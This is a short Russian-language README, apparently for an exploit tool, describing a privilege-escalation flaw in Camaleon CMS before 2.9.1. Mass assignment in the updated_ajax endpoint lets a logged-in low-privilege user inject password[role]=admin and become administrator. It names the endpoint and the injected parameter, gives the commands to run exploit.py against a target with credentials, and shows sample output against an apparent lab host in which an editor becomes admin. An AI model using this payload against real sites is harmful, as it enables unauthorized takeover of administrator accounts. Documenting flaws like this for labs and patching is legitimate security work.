
Уязвимость повышения привилегий в Camaleon CMS < 2.9.1.
Уязвимость повышения привилегий в Camaleon CMS < 2.9.1. Конечная точка
updated_ajaxвUsersControllerвызываетparams.require(:password).permit!без фильтрации, что позволяет массово присваивать любые параметры. Аутентифицированный пользователь с низкими привилегиями может повысить свои права до администратора, внедривpassword[role]=adminвместе с запросом на смену пароля.
/admin/users/<id>/updated_ajax с внедрённым password[role]=admin в параметры пароля.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
Пример:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.